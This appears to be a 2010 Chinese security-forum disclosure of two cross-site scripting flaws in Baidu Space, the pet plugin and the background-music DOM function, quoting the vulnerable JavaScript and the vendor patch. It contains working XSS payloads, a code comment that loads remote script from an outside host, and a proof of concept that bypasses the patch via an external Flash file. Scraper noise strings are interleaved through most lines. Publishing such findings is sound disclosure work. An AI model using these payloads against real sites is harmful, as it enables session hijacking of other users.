百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 9 y+ V s! O) T5 E1 {7 H. ~8 V
0 {7 {5 V( ^; i$ b Q" f' Y' A
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. j" M/ u+ J7 M+ S
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
9 E% i* m) r' d0 K9 p# |( z8 L. i) f& ~! t3 \$ H Q) F
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> % ~( N+ `2 C# ^) s
其中BdUtil.insertWBR为 9 z4 ^; R1 S5 {# e; _
function(text, step) {
- d) n. y2 ~9 |) {, P var textarea = textAreaCache || getContainer();
9 F7 S+ ^( R9 L: D" i. a if (!textarea) { / G; ^$ j9 N: z1 e- o1 f
return text;
9 r b* J0 V! a- i( j7 d }
) U* \+ L5 N" W( D* Y6 m9 | textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
?7 W0 w( h) ` h T var string = textarea.value;
; P- y! m6 G- a: z7 D var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 6 k, p& _( [, f4 C/ u9 r9 k0 G. B
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 1 b0 i* ~* p' P
return result;
$ D& h8 j& t8 J. e8 W}
! Q7 j% B* S U在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 8 A& E8 c- f6 K; f
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ' \4 m f1 `2 k+ @* [! z5 q. K
. r6 g$ c4 J5 s8 m/ s$ k! y
二:creatbgmusic() Dom-Xss Bug
$ F J$ J. P/ D* }百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 1 C" ^% e2 r9 F; h2 N% o, E7 |
! X- b$ ~0 r1 T* e6 s% f7 ]$ b在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
$ q u4 ?( p. T2 Z- d' E) A9 T
: j+ [7 _! R5 N/ v; [* Tfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 0 a' m+ x0 {* y) Z! h
//传入的murl赋值到bgmusic1和bgmusic2中
$ D# T( S1 x0 |5 P //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
. o) a6 z4 b5 u var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
1 b4 m, c' I: j+ o. u if (musicnum <= 1) {
3 X; I: O/ Q4 U- t! z4 q h. l bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; " r+ X' b" y" @! P- b: g0 G
}
; o/ X2 s4 N: a; _/ y: y _ bgmusic1 += "</OBJECT>"; ; T( l4 N* q8 T" n7 C
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
9 J0 ` q8 o) H# ]4 h if (musicnum <= 1) {
+ o* i# H+ B! @ bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; # ?! ^7 c8 z/ a# r) @; a+ P5 l
}
+ I( W' G2 O. r& C' Z bgmusic2 += "> </EMBED>";
/ b: `* T& _1 m" Z var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; $ C. }5 P7 R5 \% e; x
var bgmus = detectWMP(); ' J8 y8 `, g; P4 T4 d( @! M
if (functype == "FckMusicHelper") { . D6 I1 N0 Y' Z* `$ o! u
if (bgmus.installed) {
) h( ?% j6 ^2 a( r0 I, S* Z6 b if (bgmus.type == "IE") {
8 \5 Z/ h" D8 n" u2 p' h2 Z1 X; a return bgmusic1; 4 T" G9 K7 R5 r$ C6 K) w9 V
} else if (bgmus.type == "NS") {
5 h& P* ~8 s* Q% z( U( j! @ return bgmusic2;
" _! F! x! N( F8 v } * q# _$ Y! @2 v2 b1 A. ~
} else {
4 u4 g! x; B+ y1 u% X$ T return bgmusic3;
3 l* v* Q; u& P* b: Z' q } |6 ^" e+ q" i/ a! M+ {+ z
} else {
! B3 \" B( I/ U+ e6 Q/ ^: _ if (bgmus.installed) { - Z' e5 s% \7 K L ]9 [( s2 P
//document.write 直接输出bgmusic变量 导致xss & ~: n0 ^- B: D; Q
if (bgmus.type == "IE") { M1 b# l) S! c/ \" V8 h; A
document.write(bgmusic1); % c r6 e9 O3 r: u! J) ?. j& H
} else if (bgmus.type == "NS") {
3 u4 V5 M( t7 y: @0 j6 k document.write(bgmusic2); ! n& U4 P/ h4 M5 q/ Q
} . E3 `. N9 @% K5 R* T+ y8 x3 s
} else {
* V, I+ J. I8 s& z; [ document.write(bgmusic3); * z: F- \5 R- B- u6 n& l
}
& |5 d4 e6 ^, R+ r6 x1 i4 f return ""; + l( O3 u9 x; A2 u5 g$ I4 B$ J
}
7 h: k) m, \. s' M. |* \+ M8 g8 @} - H0 n6 L0 r! U) s$ O; R
; m$ S6 V) H9 i. O1 @4 B& F! o5 N在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 1 x6 X$ l. S2 n) G& _) C
0 u& y3 v( E' B' sfunction initBlogTextForFCK(){
, W* A6 B$ w* d6 y//fck init music
3 C3 U+ a6 M2 {& Y2 l! gif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 0 O& V' m. s9 o( q/ f
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 / C! Q7 w, ~ u* A: @1 S
var isAutoPlay=true; : ]3 r9 {1 W$ s6 _
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
, Z0 t9 E8 {& e6 r1 z6 c var img=imgBox; ! y* V+ |- j W5 _" T
if(img.getAttribute(’rel’)){ . A# q9 m9 ~. O5 a
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 7 @ R) @% F4 r3 ^/ C- y6 s' q
var musicDiv = document.createElement("SPAN");
* D8 y( c/ l; d4 P% e6 E var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] - }; f1 L; P" t, p
/ \& r1 r- Q/ L5 m* j .......................... * z7 t% B! i2 P6 ^% x# \- q( C
" t. E$ x: N$ r1 e, y9 {' E3 N6 o
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. ( s& x# P4 w# [& m
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
, ]) d& B. Y( `0 R9 s2 F- G shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
1 P8 W+ i, L3 Y7 p% c. Y musicDiv.innerHTML=shtml;
; ~0 @/ B f- P: x. }& \ i--;n--;
1 j9 b* g+ y! L3 m) o5 D- c }
! |$ Y/ c8 j, L# L: _: Q# C$ A} & X# A7 w+ Y& w
* m, H$ y* ]; J从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
9 u3 ]* u2 l; X 5 E/ C6 L J' Y
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> ; ?2 U' z6 @1 g5 s2 w+ O x" l7 ~# G
9 e7 F7 G8 `, H% d$ D& x3 [ t等待官方补丁 ; I, Q- X R$ l! j' o
4 U0 P4 R7 a$ H3 B0 c5 c
update 2010年5月13日
6 V' ^; M3 u0 V& A, q8 X8 m
) w7 [6 |. m( v9 y/ j, W官方补丁: . D* W- m6 }; ^9 ~: n. u
) d' G0 s- r% e j8 X- k9 g) s9 A
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 4 n9 [4 }5 R% S% r% ]( [: ?) v4 b L, |
改为: # c7 b! g6 _9 a3 u! X' P
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); / g- @9 O+ C' w7 v
# l( ~- @6 `/ T9 p- b9 ~0 xupdate 2010年5月13日 21:50:37
; t& v; H( R7 H+ K1 G3 z! D. b# U& p* t0 i, j7 |
补丁存在漏洞 没有过滤" 可以继续跨: 9 w z* m. U. u. L3 @
S( H) W, i" m2 Y$ `1 h, }NEW POC: : v8 x; N! o1 s4 k3 J9 M# v
$ C: l) Z% u1 m V) }) F0 I<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ) K* A6 d4 M0 [- \2 G; D
; x/ D, B3 m& s2 M# ^# X" x8 Iallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>. }/ O4 G; O! ~$ b& R+ g/ }
* }( Y& U6 j3 x/ `4 _( B |